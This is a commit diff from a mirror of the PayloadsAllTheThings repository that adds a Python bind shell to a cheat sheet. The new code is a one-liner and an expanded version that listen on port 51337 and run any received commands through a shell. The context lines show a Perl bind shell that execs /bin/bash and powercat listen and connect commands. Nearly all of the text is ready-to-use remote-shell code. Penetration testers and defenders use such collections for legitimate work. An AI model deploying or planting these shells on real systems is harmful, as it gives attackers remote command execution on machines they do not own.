mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
Add Python bind shell
This commit is contained in:
parent
b641131f27
commit
693349da56
@ -22,6 +22,30 @@ bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
|
|||||||
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
|
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## Python
|
||||||
|
|
||||||
|
Single line :
|
||||||
|
```python
|
||||||
|
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",51337));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
|
||||||
|
```
|
||||||
|
|
||||||
|
Expanded version :
|
||||||
|
|
||||||
|
```python
|
||||||
|
import socket as s,subprocess as sp;
|
||||||
|
|
||||||
|
s1 = s.socket(s.AF_INET, s.SOCK_STREAM);
|
||||||
|
s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1);
|
||||||
|
s1.bind(("0.0.0.0", 51337));
|
||||||
|
s1.listen(1);
|
||||||
|
c, a = s1.accept();
|
||||||
|
|
||||||
|
while True:
|
||||||
|
d = c.recv(1024).decode();
|
||||||
|
p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE);
|
||||||
|
c.sendall(p.stdout.read()+p.stderr.read())
|
||||||
|
```
|
||||||
|
|
||||||
## PHP
|
## PHP
|
||||||
|
|
||||||
```php
|
```php
|
||||||
@ -68,4 +92,4 @@ powercat -l -p 7002 -ep
|
|||||||
# Connect from attacker
|
# Connect from attacker
|
||||||
. .\powercat.ps1
|
. .\powercat.ps1
|
||||||
powercat -c 127.0.0.1 -p 7002
|
powercat -c 127.0.0.1 -p 7002
|
||||||
```
|
```
|
||||||
|
Loading…
Reference in New Issue
Block a user